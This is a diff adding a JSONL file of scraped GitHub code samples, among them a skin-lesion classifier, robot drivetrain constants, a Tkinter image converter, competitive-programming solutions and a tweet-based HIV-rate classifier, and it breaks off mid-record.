diff --git "a/5438.jsonl" "b/5438.jsonl" new file mode 100644--- /dev/null +++ "b/5438.jsonl" @@ -0,0 +1,577 @@ +{"seq_id":"43314597633","text":"\"\"\"\nImage classification of skin lesions from HAM10000 dataset using pre-trained ResNet\n\nWritten by: Nishita Kapoor\n\"\"\"\nimport argparse\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom data.visualize import *\nfrom torchvision import models\nfrom scripts.train import training\nfrom scripts.eval import evaluate, predict\nfrom utils import FocalLoss\n\n\nparser = argparse.ArgumentParser(description=\"PyTorch classification of Skin Cancer MNIST\")\nparser.add_argument('--view_data', type=bool, default=False, help='Visualize data distribution')\nparser.add_argument('--num_epochs', type=int, default=50, help='Number of epochs to train on')\nparser.add_argument('--train', default=True, type=bool, help='Train the model')\nparser.add_argument('--test', default=True, type=bool, help='Test the model')\nparser.add_argument('--gpus', default=\"0\", type=str, help='Which GPU to use?')\nparser.add_argument('--path', default='/home/nishita/datasets/skin_mnist', type=str, help='Path of dataset')\nparser.add_argument(\"--version\", \"-v\", default=1, type=str, help=\"Version of experiment/run\")\nparser.add_argument(\"--batch_size\", default=32, type=int, help=\"batch-size to use\")\nparser.add_argument(\"--lr\", default=1e-5, type=float, help=\"learning rate to use\")\nparser.add_argument(\"--image_path\", default=None, type=str, help=\"Path for single image prediction (inference)\")\nparser.add_argument(\"--loss\", default='ce', type=str, help=\"Choose from 'ce' or 'weighted_ce' or 'focal'\")\n\n\nargs = parser.parse_args()\nprint(f'The arguments are {vars(args)}')\n\n# Check for GPUs\nif torch.cuda.is_available():\n os.environ[\"CUDA_VISION_DEVICES\"] = str(args.gpus)\n device = torch.device(\"cuda:\" + str(args.gpus))\n print(\"CUDA GPU {} found.\".format(args.gpus))\nelse:\n device = torch.device(\"cpu\")\n print(\"No CUDA device found. Using CPU instead.\")\n\n# Load pretrained model\nmodel = models.resnext101_32x8d(pretrained=True)\nmodel.fc = nn.Linear(in_features=2048, out_features=7)\nmodel.to(device)\n\noptimizer = optim.Adam(model.parameters(), lr=args.lr)\n\nclass_dist = [282, 461, 967, 103, 5380, 123, 1044] # Class distribution of training set\nnorm_weights = [1 - (x / sum(class_dist)) for x in class_dist]\nweights = torch.tensor(norm_weights).to(device) # weights for loss\n\n# Loss functions\nif args.loss == 'focal':\n criterion = FocalLoss(weight=weights, gamma=2).to(device)\nelif args.loss == 'weighted_ce':\n criterion = nn.CrossEntropyLoss(weight=weights).to(device)\nelse:\n criterion = nn.CrossEntropyLoss().to(device)\n\n# Train, test or single image predictions\nif args.train:\n training(args, model, criterion, optimizer, device)\n\nif args.test:\n evaluate(args, device, model)\n\nif args.image_path is not None:\n predict(args, device=device, model=model)\n\n# Visualizations of Data\nif args.view_data:\n view_samples(args)\n data_dist(args)\n\n","repo_name":"Nishita-Kapoor-zz/skin_cancer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"42425974964","text":"\"\"\"\nhttps://leetcode.com/problems/longest-substring-without-repeating-characters/\n\"\"\"\n\n\nclass Solution:\n def lengthOfLongestSubstring(self, s: str) -> int:\n seen = {}\n start = 0\n max_length = 0\n for end in range(len(s)):\n if s[end] in seen and seen[s[end]] >= start:\n start = seen[s[end]] + 1\n seen[s[end]] = end\n max_length = max(max_length, end - start + 1)\n return max_length\n\n\nif __name__==\"__main__\":\n print(Solution().lengthOfLongestSubstring(\"abcabcbb\"))","repo_name":"vijay2930/HackerrankAndLeetcode","sub_path":"com/leetcode/LongestSubstringWithoutRepeatingCharater.py","file_name":"LongestSubstringWithoutRepeatingCharater.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"3935975390","text":"from __future__ import print_function\n__copyright__ = \"\"\"\n\n Copyright 2019 Samapriya Roy\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n\"\"\"\n__license__ = \"Apache 2.0\"\n\n\nimport ee\nimport datetime\nimport csv\n\nee.Initialize()\n\ndef genreport(report):\n with open(report,'wb') as failed:\n writer=csv.DictWriter(failed,fieldnames=[\"Task ID\",\"Task Type\", \"Task Description\",\"Creation\",\"Start\",\"End\",\"Time to Start\",\"Time to End\",\"Output State\"],delimiter=',')\n writer.writeheader()\n status=ee.data.getTaskList()\n for items in status:\n ttype=items['task_type']\n tdesc=items['description']\n tstate=items['state']\n tid=items['id']\n try:\n tcreate=datetime.datetime.fromtimestamp(items['creation_timestamp_ms']/1000).strftime('%c')\n tstart=datetime.datetime.fromtimestamp(items['start_timestamp_ms']/1000).strftime('%c')\n tupdate=datetime.datetime.fromtimestamp(items['update_timestamp_ms']/1000).strftime('%c')\n tdiffstart=items['start_timestamp_ms']/1000-items['creation_timestamp_ms']/1000\n tdiffend=items['update_timestamp_ms']/1000-items['start_timestamp_ms']/1000\n #print(ttype,tdesc,tstate,tid,tcreate,tstart,tupdate,tdiffstart,tdiffend)\n with open(report,'a') as tasks:\n writer=csv.writer(tasks,delimiter=',',lineterminator='\\n')\n writer.writerow([tid,ttype,tdesc,str(tcreate),str(tstart),str(tupdate),str(tdiffstart),str(tdiffend),tstate])\n except Exception as e:\n pass\n print('Report exported to '+str(report))\n#genreport(report=r'C:\\planet_demo\\taskrep.csv')\n","repo_name":"cnwdd88/Planet-GEE-Pipeline-CLI","sub_path":"ppipe/taskrep.py","file_name":"taskrep.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"90"} +{"seq_id":"8876017825","text":"\"\"\"\nCtrl-Z FRC Team 4096\nFIRST Robotics Competition 2023\nCode for robot \"swerve drivetrain prototype\"\ncontact@team4096.org\n\n\"\"\"\n\n\"\"\"\nPrepend these to any port IDs.\nDIO = Digital I/O\nAIN = Analog Input\nPWM = Pulse Width Modulation\nCAN = Controller Area Network\nPCM = Pneumatic Control Module\nPDP = Power Distribution Panel\n\"\"\"\n\nimport math\n\nfrom wpimath.geometry import Rotation2d, Translation2d\nfrom wpimath.kinematics import SwerveDrive4Kinematics\n\n\n### CONSTANTS ###\n\n# Is running simulator. Value is set in robot.py, robotInit\nIS_SIMULATION = False\n\n# Directions, mainly used for swerve module positions on drivetrain\nFRONT_LEFT = \"front_left\"\nFRONT_RIGHT = \"front_right\"\nBACK_LEFT = \"back_left\"\nBACK_RIGHT = \"back_right\"\n\n# Robot drivebase dimensions, in inches and meters\nDRIVE_BASE_WIDTH = 19.25\nDRIVE_BASE_LENGTH = 25\nDRIVETRAIN_TRACKWIDTH_METERS = 0.489\nDRIVETRAIN_WHEELBASE_METERS = 0.635\n\nSWERVE_MAX_SPEED = 6\n\n\n# Module PID Constants\n\n# Old values from 2022 Swerve X modules\n# SWERVE_ANGLE_KP = 0.43\n# SWERVE_ANGLE_KI = 0\n# SWERVE_ANGLE_KD = 0.004\n# SWERVE_ANGLE_KF = 0\n\n# Values from swerve-test bot MK4 modules\n# SWERVE_ANGLE_KP = 0.232\n# SWERVE_ANGLE_KI = 0.0625\n# SWERVE_ANGLE_KD = 0\n# SWERVE_ANGLE_KF = 0\n\nSWERVE_ANGLE_KP = 0.2\nSWERVE_ANGLE_KI = 0\nSWERVE_ANGLE_KD = .01\nSWERVE_ANGLE_KF = 0\n\nSWERVE_DRIVE_KP = .4\nSWERVE_DRIVE_KI = 0\nSWERVE_DRIVE_KD = .01\nSWERVE_DRIVE_KF = 0\n\nSWERVE_DRIVE_KS = 0.02\nSWERVE_DRIVE_KV = 1 / 5\nSWERVE_DRIVE_KA = 0\n\n# Module Front Left\n\nSWERVE_ANGLE_OFFSET_FRONT_LEFT = Rotation2d.fromDegrees(53.98) # 234.4\nSWERVE_DRIVE_MOTOR_ID_FRONT_LEFT = 18\nSWERVE_ANGLE_MOTOR_ID_FRONT_LEFT = 17\nSWERVE_CANCODER_ID_FRONT_LEFT = 27 # 8\n\n\n# Module Front Right\n\nSWERVE_ANGLE_OFFSET_FRONT_RIGHT = Rotation2d.fromDegrees(149.66) # 235.37\nSWERVE_DRIVE_MOTOR_ID_FRONT_RIGHT = 4\nSWERVE_ANGLE_MOTOR_ID_FRONT_RIGHT = 5\nSWERVE_CANCODER_ID_FRONT_RIGHT = 26 # 5\n\n# Module Back Left\nSWERVE_ANGLE_OFFSET_BACK_LEFT = Rotation2d.fromDegrees(122.12) # 339.96\nSWERVE_DRIVE_MOTOR_ID_BACK_LEFT = 15\nSWERVE_ANGLE_MOTOR_ID_BACK_LEFT = 16\nSWERVE_CANCODER_ID_BACK_LEFT = 25 # 11\n\n# Module Back Right\n\nSWERVE_ANGLE_OFFSET_BACK_RIGHT = Rotation2d.fromDegrees(62.1) # 5.80\nSWERVE_DRIVE_MOTOR_ID_BACK_RIGHT = 2\nSWERVE_ANGLE_MOTOR_ID_BACK_RIGHT = 44\nSWERVE_CANCODER_ID_BACK_RIGHT = 28 # 2\n\n# Other\n\nSWERVE_WHEEL_CIRCUMFERENCE = 2 * math.pi * (4 * 2.54 / 100)\nSWERVE_DRIVE_GEAR_RATIO = 6.55 # From belt kit we ordered\nSWERVE_ANGLE_GEAR_RATIO = 10.29 # From Swerve X user guide, for flipped, belt models\n\nSWERVE_DRIVE_MOTOR_INVERTED = True\nSWERVE_ANGLE_MOTOR_INVERTED = True\n\nSWERVE_KINEMATICS = SwerveDrive4Kinematics(\n Translation2d(DRIVETRAIN_WHEELBASE_METERS / 2, DRIVETRAIN_TRACKWIDTH_METERS / 2),\n Translation2d(DRIVETRAIN_WHEELBASE_METERS / 2, -DRIVETRAIN_TRACKWIDTH_METERS / 2),\n Translation2d(-DRIVETRAIN_WHEELBASE_METERS / 2, DRIVETRAIN_TRACKWIDTH_METERS / 2),\n Translation2d(-DRIVETRAIN_WHEELBASE_METERS / 2, -DRIVETRAIN_TRACKWIDTH_METERS / 2),\n)\n\nSWERVE_PIGEON_ID = 0 # 12\n\nSWERVE_INVERT_GYRO = False\nSWERVE_INVERT_CANCODERS = False\n\nJENNY = 8675_309\n","repo_name":"CtrlZ-FRC4096/Robot-2023-Public","sub_path":"robot/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":3085,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"90"} +{"seq_id":"10435566919","text":"from tkinter import ttk\nimport tkinter as tk, os\nfrom PIL import Image, ImageTk\nfrom tkinter import filedialog\nfrom tkinter import messagebox as mb\n\ndef openPic(pic_path):\n pic = Image.open(pic_path)\n h, w = 600, 500\n if pic.size[1] > h: pic = pic.resize((int(h*pic.size[0]/pic.size[1]), h), Image.ANTIALIAS)\n if pic.size[0] > w: pic = pic.resize((w, int(w*pic.size[1]/pic.size[0])), Image.ANTIALIAS)\n photo = ImageTk.PhotoImage(pic)\n\n picpop = tk.Toplevel()\n picpop.geometry('500x600')\n picpop.title('Image Preview')\n tk.Label(picpop, image=photo, bg='white').pack()\n picpop.mainloop()\n\ndef browse(wid):\n filename = filedialog.askdirectory()\n if filename: wid.configure(text=filename)\n\ndef execute(file): \n inp = Image.open(file).convert('LA')\n return inp\n\n'''Top Level/Root'''\nroot = tk.Tk()\nroot.title(\"Colourize\")\nroot.geometry('900x550')\n\n'''LG Logo Banner'''\nphoto = ImageTk.PhotoImage(Image.open('img/banner.png'))\ntk.Label(root, image=photo, bg='white').place(relx=0, rely=0, relwidth=1, relheight=0.15)\n\n''' Tab Styling (Padding) '''\nbtn_width = 15\ncol1, col2, col3, col4 = 0.1, 0.25, 0.5, 0.7\nrow1, row2, row3, row4 = 0.1, 0.25, 0.4, 0.8\nmygreen = \"#d2ffd2\"\nstyle = ttk.Style()\nstyle.theme_create( \"MyStyle\", parent=\"alt\", settings={\n \"TNotebook\": {\"configure\": {\"background\": 'lightgrey'} },\n \"TNotebook.Tab\": {\n \"configure\": {\"padding\": [20, 10], \"background\": 'lightgrey' },\n \"map\": {\"background\": [(\"selected\", root.cget('bg'))], }\n },\n})\nstyle.theme_use(\"MyStyle\")\n\n''' Notebook Creation '''\nnb = ttk.Notebook(root)\nnb.place(rely=0.15, relwidth=1, relheight=0.85)\n\n''' Notebook Pages '''\np1 = ttk.Frame(nb)\np2 = ttk.Frame(nb)\n\nnb.add(p1, text='Select File')\nnb.add(p2, text='Select Folder')\n\n\n''' Page# 1 | Select File'''\n\ntk.Label(p1, text='Input File').place(relx=col1, rely=row1)\npath_file = tk.Label(p1, text=os.getcwd() + '/img/default.png')\ndef browseFile():\n filename = filedialog.askopenfilename(filetypes=(('', '*.jpg'), ('', '*.jpeg'), ('', '*.png')))\n if filename: path_file.configure(text=filename)\n refresh_file()\ntk.Button(p1, text='Browse', width=btn_width, command=browseFile).place(relx=col4, rely=row1)\npath_file.place(relx=col2, rely=row1)\n\nfr_inp = tk.Frame(p1)\nfr_inp.place(relx=col1, rely=row2, relheight=0.47, relwidth=0.36)\ntk.Label(fr_inp, text='Input Image').pack(side='top')\nde_img = Image.open(os.getcwd() + '/img/default.png')\nde_img = de_img.resize((320, 190), Image.ANTIALIAS)\ndefault_img = ImageTk.PhotoImage(de_img)\nin_img = tk.Label(fr_inp, image=default_img)\nin_img.pack()\n\n\nfr_op = tk.Frame(p1)\nfr_op.place(relx=col3, rely=row2, relheight=0.47, relwidth=0.36)\ntk.Label(fr_op, text='Output Image').pack(side='top')\nop_img = tk.Label(fr_op, image=default_img)\nop_img.pack()\n\ndef refresh_file():\n c_img = Image.open(path_file.cget('text'))\n w, h = 320, 180\n if c_img.size[1] < h: c_img = c_img.resize((int(h*c_img.size[0]/c_img.size[1]), h), Image.ANTIALIAS)\n if c_img.size[0] < w: c_img = c_img.resize((w, int(w*c_img.size[1]/c_img.size[0])), Image.ANTIALIAS)\n img = ImageTk.PhotoImage(c_img)\n in_img.configure(image=img)\n in_img.image = img\n\ndef process_file():\n file = execute(path_file.cget('text'))\n name = path_file.cget('text').rpartition('.')[0]\n file.save(name+'_greyscale.png')\n w, h = 320, 180\n if file.size[1] < h: file = file.resize((int(h*file.size[0]/file.size[1]), h), Image.ANTIALIAS)\n if file.size[0] < w: file = file.resize((w, int(w*file.size[1]/file.size[0])), Image.ANTIALIAS)\n img = ImageTk.PhotoImage(file)\n op_img.configure(image=img)\n op_img.image = img\n\ntk.Label(p1, text='*output location is same as input location').place(relx=col1, rely=row4)\ntk.Button(p1, text='Process', width=btn_width, command=process_file).place(relx=col4, rely=row4)\n\n''' Page# 2 | Select Folder '''\n\ntk.Label(p2, text='Input Folder').place(relx=col1, rely=row1)\npath_inp = tk.Label(p2, text=os.getcwd() + '/unprocessed')\ndef browseInp():\n browse(path_inp)\n refersh_inp()\ntk.Button(p2, text='Browse', width=btn_width, command=browseInp).place(relx=col4, rely=row1)\npath_inp.place(relx=col2, rely=row1)\n\ntk.Label(p2, text='Output Folder').place(relx=col1, rely=row2)\npath_op = tk.Label(p2, text=os.getcwd() + '/processed')\ndef browseOp():\n browse(path_op)\n refersh_op()\ntk.Button(p2, text='Browse', width=btn_width, command=browseOp).place(relx=col4, rely=row2)\npath_op.place(relx=col2, rely=row2)\n\nfr_inp = tk.Frame(p2)\nfr_inp.place(relx=col1, rely=row3, relheight=0.3, relwidth=0.36)\nyscroll = tk.Scrollbar(fr_inp, orient=tk.VERTICAL)\nlst_inp = tk.Listbox(fr_inp, yscrollcommand=yscroll.set)\nyscroll.config(command=lst_inp.yview)\nyscroll.pack(side='right', fill='y')\ntk.Label(fr_inp, text='Unprocessed Files').pack(side='top')\nlst_inp.pack(side='left', fill='both', expand=1)\ndef showPic(event): openPic(path_inp.cget('text')+'/'+event.widget.get(event.widget.curselection()))\nlst_inp.bind('', showPic)\n\ndef refersh_inp():\n lst_inp.delete(0, 'end')\n for f in os.listdir(path_inp.cget('text')): lst_inp.insert('end', f)\nrefersh_inp()\n\nfr_op = tk.Frame(p2)\nfr_op.place(relx=col3, rely=row3, relheight=0.3, relwidth=0.36)\nyscroll = tk.Scrollbar(fr_op, orient=tk.VERTICAL)\nlst_op = tk.Listbox(fr_op, yscrollcommand=yscroll.set)\nyscroll.config(command=lst_op.yview)\nyscroll.pack(side='right', fill='y')\ntk.Label(fr_op, text='Processed Files').pack(side='top')\nlst_op.pack(side='left', fill='both', expand=1)\ndef showPic(event): openPic(path_op.cget('text')+'/'+event.widget.get(event.widget.curselection()))\nlst_op.bind('', showPic)\n\ndef refersh_op():\n lst_op.delete(0, 'end')\n for f in os.listdir(path_op.cget('text')): \n if not f[0] == '.': lst_op.insert('end', f)\nrefersh_op()\n\ndef process(): \n for f in os.listdir(path_inp.cget('text')):\n op = execute(path_inp.cget('text')+'/'+f)\n op.save(path_op.cget('text')+'/'+f.rpartition('.')[0]+'_greyscale.png')\n refersh_op()\n\ntk.Button(p2, text='Process', width=btn_width, command=process).place(relx=col4, rely=row4)\n\nroot.resizable(0,0)\nroot.mainloop()\n","repo_name":"ansukumari/colourize","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"24551664801","text":"import numpy as np\nimport pandas as pd\nfrom fuzzywuzzy import fuzz\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport regex\nimport rstr \n\nfrom . import utils\n\n\n# Computes similarity score for numerical data,\n# which was encoded as regular expression\ndef regex_similarity(regex_a, regex_b, num_samples=10):\n errors = []\n num_size_matches = 0\n for i in range(num_samples):\n sample_a = rstr.xeger(regex_a)\n sample_b = rstr.xeger(regex_b)\n if sum(c.isdigit() for c in sample_a) == sum(c.isdigit() for c in sample_b):\n num_size_matches += 1 \n allowed_errors = -1\n result_1 = result_2 = None \n while not (result_1 and result_2):\n allowed_errors += 1\n result_1 = regex.fullmatch(\"({}){}\".format(regex_a, '{e<=' + str(allowed_errors) + '}'), sample_b)\n result_2 = regex.fullmatch(\"({}){}\".format(regex_b, '{e<=' + str(allowed_errors) + '}'), sample_a) \n errors.append(allowed_errors) \n return 2.718 ** (-0.1 * (sum(errors) / num_samples + 0.5*(num_samples - num_size_matches)))\n\n\n# Computes similarity score for textual data,\n# which was encoded as vector embedding\ndef vector_similarity(vector_a, vector_b, partial=False):\n if partial:\n if len(vector_a.nonzero()[1]) <= len(vector_b.nonzero()[1]):\n nonzero_indices = vector_a.nonzero()[1]\n else:\n nonzero_indices = vector_b.nonzero()[1]\n return cosine_similarity(vector_a[0, nonzero_indices],\n vector_b[0, nonzero_indices],\n dense_output=True)[0][0]\n else:\n return cosine_similarity(vector_a,\n vector_b,\n dense_output=True)[0][0]\n\n# Computes similarity score between two data columns\ndef column_similarity(column_a, column_b):\n name_similarity = fuzz.token_set_ratio(\n utils.remove_special_characters(column_a[\"column_name\"]),\n utils.remove_special_characters(column_b[\"column_name\"])\n ) / 100.0\n if column_a[\"data_class\"] == \"numeric_or_id\" and column_b[\"data_class\"] == \"numeric_or_id\":\n data_similarity = regex_similarity(\n column_a[\"representation\"], column_b[\"representation\"]\n )\n if name_similarity > 0.5:\n return (name_similarity * 0.7) + (data_similarity * 0.3)\n else:\n return data_similarity\n elif column_a[\"data_class\"] == \"named_entity\" and column_b[\"data_class\"] == \"named_entity\":\n data_similarity = vector_similarity(\n column_a[\"representation\"], column_b[\"representation\"], partial=True\n )\n return (name_similarity * 0.7) + (data_similarity * 0.3)\n elif column_a[\"data_class\"] == \"text\" and column_b[\"data_class\"] == \"text\":\n data_similarity = vector_similarity(\n column_a[\"representation\"], column_b[\"representation\"], partial=True\n )\n return (name_similarity * 0.4) + (data_similarity * 0.6)\n elif ((column_a[\"data_class\"] == \"text\" and column_b[\"data_class\"] == \"named_entity\") or\n (column_a[\"data_class\"] == \"named_entity\" and column_b[\"data_class\"] == \"text\")):\n data_similarity = vector_similarity(\n column_a[\"representation\"], column_b[\"representation\"], partial=True\n )\n return (name_similarity * 0.7) + (data_similarity * 0.3)\n else:\n return 0.0\n\n\ndef search(query, data, threshold):\n # Find the column(s) whose name matches the query\n query_columns = data[data['column_name'] == query]\n query_columns = query_columns.reset_index(drop=True)\n if query_columns.empty:\n return []\n else:\n # Compute similarity of the query columns with the known data columns\n similarity_scores = np.zeros((len(data), len(query_columns)))\n for i, query_column in query_columns.iterrows():\n for j, data_column in data.iterrows():\n similarity_scores[j, i] = column_similarity(query_column,\n data_column)\n # Get matched columns with similarity scores above the threshold\n max_scores = np.max(similarity_scores, axis=1)\n matches = data.iloc[max_scores > threshold].copy()\n matches[\"score\"] = np.round(max_scores[max_scores > threshold], 2)\n matches = matches.drop(columns=[\"data_class\", \"representation\"])\n return matches.to_dict(\"records\")\n","repo_name":"v-popov/emerald","sub_path":"emerald/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":4489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"18021964179","text":"import sys\nsys.setrecursionlimit(2147483647)\nINF=float(\"inf\")\nMOD=10**9+7\ninput=lambda :sys.stdin.readline().rstrip()\nfrom itertools import product\nfrom copy import deepcopy\ndef resolve():\n n,ma,mb=map(int,input().split())\n ABC=[tuple(map(int,input().split())) for _ in range(n)]\n M=400\n\n dp=[[INF]*(M+1) for _ in range(M+1)]\n dp[0][0]=0\n\n for a,b,c in ABC:\n for x,y in product(range(M,-1,-1),repeat=2):\n if(x+a<=M and y+b<=M):\n dp[x+a][y+b]=min(dp[x+a][y+b],dp[x][y]+c)\n\n ans=INF\n for x,y in product(range(1,M+1),repeat=2):\n if(x*mb==y*ma): ans=min(ans,dp[x][y])\n if(ans==INF): ans=-1\n print(ans)\nresolve()","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p03806/s768651587.py","file_name":"s768651587.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"18026526419","text":"# https://atcoder.jp/contests/agc009/tasks/agc009_a\n\nn = int(input())\n\nA = []\nB = []\nfor _ in range(n):\n a, b = map(int, input().split())\n A.append(a)\n B.append(b)\n\nans = 0\nplus = 0\nfor i in range(n)[::-1]:\n a = A[i] + plus\n b = B[i]\n if a % b != 0:\n multi = a // b + 1\n t = b * multi - a\n ans += t\n plus += t\nprint(ans)","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p03821/s414536057.py","file_name":"s414536057.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"38693486912","text":"\nimport glob\nimport math\nfrom statistics import *\nfrom sklearn import linear_model\nfrom scipy.sparse import csr_matrix\nimport numpy as np\nimport random\n#using naive Bayes for Classification\nfrom sklearn.naive_bayes import GaussianNB, MultinomialNB\nfrom sklearn import cross_validation\nfrom sklearn import feature_selection\nfrom sklearn.feature_selection import chi2\n#from operator import add;\nseed=1003\nrandom.seed(seed)\npath2Data=\"cities/\"\n\n# reads the POS tags of the tweets in path2Data\n# Since numbers and such give many unique ''words'' we can specify which to replace\n# currently replacing '#'-hashtags, '@'-usernames, 'U'-url links, 'E'-emoticons, '$'- numeral , ','-punctuations, 'G'-unknown tag\n# we are removing some formating symbols eg. \":\" which is tagged to '~'\n\nreplaceables = ['#', '@', 'U', 'E', '$', ',', 'G']\n#replaceables = []\nremovables = ['~']\n\ndef cleanTweet(tweet, tweet_pos):\n tweet_l = tweet.split()\n tweet_pos_l = tweet_pos.split()\n\n if len(tweet_l) != len(tweet_pos_l):\n for i, item in enumerate(tweet_l):\n print (tweet_l[i], ',' , tweet_pos_l[i])\n \n clean_tweet = []\n for i, item in enumerate(tweet_l):\n #print (item)\n #print (tweet_pos_l[i])\n if tweet_pos_l[i] in replaceables:\n clean_tweet.append(tweet_pos_l[i])\n elif tweet_pos_l[i] in removables:\n None\n else:\n clean_tweet.append(item.lower())\n \n #print (clean_tweet)\n return clean_tweet\n\n# Version 2: generating Valid Keys for corresponding to the top/bottom HIV rates\n#sample size is 2 (p*N), p*N for lower and p*N for upper\ndef sampleItems(locRates, p):\n items = []\n for key in locRates:\n items.append((key, locRates[key]))\n\n sorted_locRates = sorted(items, key=lambda student: student[1]) \n total_items = len(items)\n sampleSize = (int) (p*total_items)\n print (\"sample size: \", sampleSize)\n \n ret = []\n lab = {}\n for i, item in enumerate(sorted_locRates):\n if i < sampleSize:\n ret.append(item[0])\n lab[item[1]] = 0\n \n if i >= total_items - sampleSize:\n ret.append(item[0])\n #lab.append(1)\n lab[item[1]] = 1\n \n #print (\"samped items size: \", len(ret))\n return (ret,lab)\n \n\ndef tfidf(docID, wordID, tf, idf, N):\n tf_0 = 0.5 + tf[docID].get(wordID, 0)\n idf_0 = math.log( 1 + N/len(idf[wordID]))\n #idf_0 = 1\n return (tf_0 * idf_0)\n\ndef conf_mat(Y_hat, Y):\n tp = fp = tn = fn = 0\n for i,j in zip(Y_hat, Y):\n if i == 1:\n if i == j:\n tp = tp + 1\n else:\n fp = fp + 1\n elif i == 0:\n if i == j:\n tn = tn + 1\n else: \n fn = fn + 1\n else:\n print (\" j should only be 0 or 1, however\", j , \"was encountered.\")\n print (tp, fp, tn, fn)\n return [tp, fp, tn, fn]\n\n\ndef main():\n\tfilenum = 0\n\tVcount=0\n\tVVcount=0\n\tVinv={} # index to word map\n\tV={} # word to index\n\tVV={}\n\tVVinv={}\n\tidf={} # forwardIndex\n\ttf={} # (word, numberOfWords)\n\tbitf={}\n\tlocRates={} # HIV rates based on locations\n\t\n\tN = 0\n\tfor file in glob.glob(path2Data+'*.tsv'):\n\t filenum = filenum + 1 #serves as an index for the file name\n\t prefix = file.split('.')[0]\n\t locRates[filenum] = int(prefix.split('_')[-1])\n\t \n\t lines = []\n\t with open(file, 'r') as f:\n\t lines = f.readlines()\n\t #DEBUG\n\t #print (file + \" file num: \" + str(filenum) + \" num tweets: \" + str(len(lines)) )\n\t \n\t unique_words = set([])\n\t for line in lines:\n\t ll = line.split('\\t')\n\t tweet = ll[0].strip()\n\t tweet_pos = ll[1].strip()\n\t \n\t prevWord = \"\"\n\t for word in cleanTweet(tweet, tweet_pos):\n\t if word not in V:\n\t V[word]= Vcount\n\t Vinv[Vcount]=word\n\t Vcount = Vcount + 1\n\t \n\t #bigram \n\t if (prevWord,word) not in VV:\n\t \tVV[(prevWord, word)] = VVcount\n\t \tVVinv[VVcount] = (prevWord,word)\n\t \tVVcount = VVcount + 1\n\n\t if V[word] not in idf:\n\t idf[ V[word] ] = []\n\t \n\t if filenum not in tf:\n\t tf[filenum] = {}\n\t \n\t freq = tf[filenum].get(V[word], 0)\n\t tf[filenum][ V[word] ] = freq + 1\n\t \n\t if word not in unique_words:\n\t idf[ V[word] ].append(filenum)\n\t unique_words.add(word)\n\n\t #bigram\n\t if filenum not in bitf:\n\t bitf[filenum] = {}\n\t \n\t bitf[filenum][VV[(prevWord, word)]] = bitf[filenum].get(VV[(prevWord,word)], 0) + 1\n\t prevWord = word\n\n\tN = filenum\n\tVocabSize=len(V.keys())\n\n\t#some statistics about the data\n\tprint (\"vocabSize: \", VocabSize)\n\tprint (\"docSize: \", N)\n\tprint (\"labels: \", len(locRates))\n\tmu = mean(locRates.values())\n\tprint (\"mean: \", mu )\n\tmed = median(locRates.values())\n\tprint (\"median: \", median(locRates.values()) )\n\tprint (\"max: \", max(locRates.values()) )\n\tprint (\"min: \", min(locRates.values()) )\n\tsigma = stdev(locRates.values())\n\tprint (\"standard diviation: \", sigma )\n\n\t#sample top/bottom rates\n\ttopPercent = 0.10\n\t(validKeys, labels) = sampleItems(locRates, topPercent)\n\t\n\t# count1 = 0\n\t# count2 = 0\n\t#print ( idf[ V[ \"#urbanradio\" ]])\n\t# for key in idf [ V[ \"hiv\" ] ]:\n\t# \ttt = labels.get(locRates[key], -1)\n\t# \tif tt == 0:\n\t# \t\tcount1 = count1 + 1\n\t# \telif tt == 1:\n\t# \t\tcount2 = count2 + 2\n\t# \telse:\n\t# \t\tprint (\"hiv occurs outside high/low examples:\")\n\t# print (\"number of Locations which are low counts and contain 'hiv': \", count1)\n\t# print (\"number of Locations which are high counts and contain 'hiv': \", count2)\n\t# print (\"out of: \", len(idf [ V[ \"hiv\" ] ]))\n\n\t#sample data\n\tp = 1.00 #percentage of sampled data (1.0) for cross-validation\n\tYclass = []\n\tYreg = []\n\tYtest = []\n\tn = len(validKeys)\n\tvalidKeys0 = validKeys[:(int)(n/2)]\n\tvalidKeys1 = validKeys[(int)(n/2):]\n\n\t#need to keep it balanced\n\tdataSize = len(validKeys0)\n\ttrainIndices0 = random.sample ( validKeys0, (int) (p*(dataSize)) ) #indicies start at 0\n\ttestIndices0 = set(validKeys0) - set(trainIndices0)\n\n\tdataSize = len(validKeys1)\n\ttrainIndices1 = random.sample ( validKeys1, (int) (p*(dataSize)) ) #indicies start at 1\n\ttestIndices1 = set(validKeys1) - set(trainIndices1)\n\n\ttestIndices = testIndices0.union(testIndices1)\n\ttrainIndices = trainIndices0 + trainIndices1\n\n\t# generate matricies\n\trow = []\n\tcol = []\n\tdata = []\n\tfor i, docID in enumerate(trainIndices):\n\t for wordID in tf[docID]:\n\t row.append(i)\n\t col.append(wordID)\n\t data.append(tfidf(docID, wordID, tf,idf, N) ) \n\n\t # bigram\n\t for bigramID in bitf[docID]:\n\t 